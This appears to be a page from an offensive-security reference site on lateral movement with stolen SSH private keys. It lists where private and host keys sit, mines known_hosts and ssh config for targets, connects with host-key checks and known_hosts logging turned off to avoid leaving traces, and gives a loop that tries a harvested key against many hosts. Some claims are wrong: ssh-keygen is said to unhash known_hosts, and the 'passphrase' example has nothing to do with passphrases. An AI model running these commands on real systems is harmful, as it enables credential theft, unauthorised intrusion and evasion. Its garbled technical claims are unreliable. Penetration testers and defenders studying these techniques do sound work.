# SSH Lateral Movement with Harvested Keys

> Techniques for moving laterally through networks using harvested SSH private keys, covering key discovery, agent hijacking, and hop chaining.

- **URL:** https://hackindex.io/services/ssh/lateral-movement/ssh-lateral-movement-harvested-keys
- **Path:** SSH > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/services/ssh/lateral-movement.md)
- **Published:** 2026-03-16
- **Updated:** 2026-08-11

Private keys found during post-exploitation are one of the most reliable lateral movement paths on Linux environments. A single key harvested from one host frequently authenticates to several others: especially in environments where the same key pair is deployed to multiple servers by a sysadmin or automation.

This page covers using those keys to move. Finding and harvesting the keys themselves is covered in [SSH Keys and Agent Harvesting](https://hackindex.io/platforms/linux/post-exploitation/credentials/ssh-keys-and-agent-harvesting).

## Locating SSH Keys for Lateral Movement

Private keys collected during post-exploitation are typically found at:

```bash
~/.ssh/id_rsa
~/.ssh/id_ed25519
~/.ssh/id_ecdsa
~/.ssh/id_dsa
/root/.ssh/id_rsa
/home/*/.ssh/id_*
/etc/ssh/ssh_host_*_key
```

Check permissions before using: SSH refuses to use a key with overly permissive permissions:

```bash
chmod 600 /tmp/harvested_key
```

## Identifying Target Hosts from Known_Hosts

The `known_hosts` file records every host the key owner has connected to. This is a direct list of lateral movement targets.

```bash
cat ~/.ssh/known_hosts
cat /root/.ssh/known_hosts
```

Modern systems hash the hostnames by default. Unhash them with:

```bash
ssh-keygen -l -f ~/.ssh/known_hosts
```

For a more complete parse including hashed entries:

```bash
ssh-keyscan -t rsa $TARGET_IP 2>/dev/null
```

Compare the scanned fingerprint against entries in `known_hosts` to confirm a match without connecting.

## Identifying Targets from SSH Config

The per-user SSH config often hardcodes hosts, users, and key paths for specific connections:

```bash
cat ~/.ssh/config
cat /root/.ssh/config
# Host jumpbox
#     HostName 10.10.20.5
#     User deploy
#     IdentityFile ~/.ssh/deploy_key
#
# Host prod-*
#     User ubuntu
#     IdentityFile ~/.ssh/id_rsa
```

Every `Host` block is a lateral movement lead. The `IdentityFile` tells you exactly which key to use for that host.

Key sources to check on a compromised host:

- `~/.ssh/id_*` and `/root/.ssh/id_*` for user keys
- `~/.ssh/config` for host-to-key mappings
- `~/.ssh/known_hosts` for previously connected hosts
- `/etc/ssh/ssh_host_*_key` for host keys (root only)

## Checking Authorized Keys on the Current Host

`authorized_keys` lists every public key permitted to authenticate. Cross-reference this against any private keys you have: if a public key in `authorized_keys` on another host matches a private key you hold, you can authenticate.

```bash
cat ~/.ssh/authorized_keys
cat /root/.ssh/authorized_keys
```

## Connecting with a Harvested Key

```bash
ssh -i /tmp/harvested_key $USER@$TARGET_IP
```

If the key requires a passphrase and you have it:

```bash
ssh -i /tmp/harvested_key -o StrictHostKeyChecking=no $USER@$TARGET_IP
```

`-o StrictHostKeyChecking=no` skips the host fingerprint prompt, useful for scripted access to multiple hosts. Suppress the known_hosts write as well if you want to avoid leaving traces:

```bash
ssh -i /tmp/harvested_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null $USER@$TARGET_IP
```

## Testing a Key Against Multiple Hosts

When you have a subnet of potential targets from ARP or routing enumeration, test a key across all of them:

```bash
for host in $(cat /tmp/targets.txt); do ssh -i /tmp/harvested_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 $USER@$host "id" 2>/dev/null && echo "SUCCESS: $host"; done
```

Replace `/tmp/targets.txt` with a list of IPs identified during [network awareness](https://hackindex.io/platforms/linux/enumeration/network-awareness).

## Host Key Files

SSH host keys at `/etc/ssh/ssh_host_*_key` are private keys used by the SSH daemon itself. They are normally root-readable only, but if accessible (for example after a privilege escalation), they can be used to impersonate the host in man-in-the-middle scenarios or to authenticate where the host key has been added to `authorized_keys` on another system.

```bash
ls -la /etc/ssh/ssh_host_*
```

## References

- [ssh_config(5)](https://man.openbsd.org/ssh_config.5) - OpenBSD manual page Full reference for SSH client config file options including Host, IdentityFile, and StrictHostKeyChecking.
- [ssh-keygen(1)](https://man.openbsd.org/ssh-keygen.1) - OpenBSD manual page Reference for key generation, fingerprinting, and known_hosts operations including unhashing entries.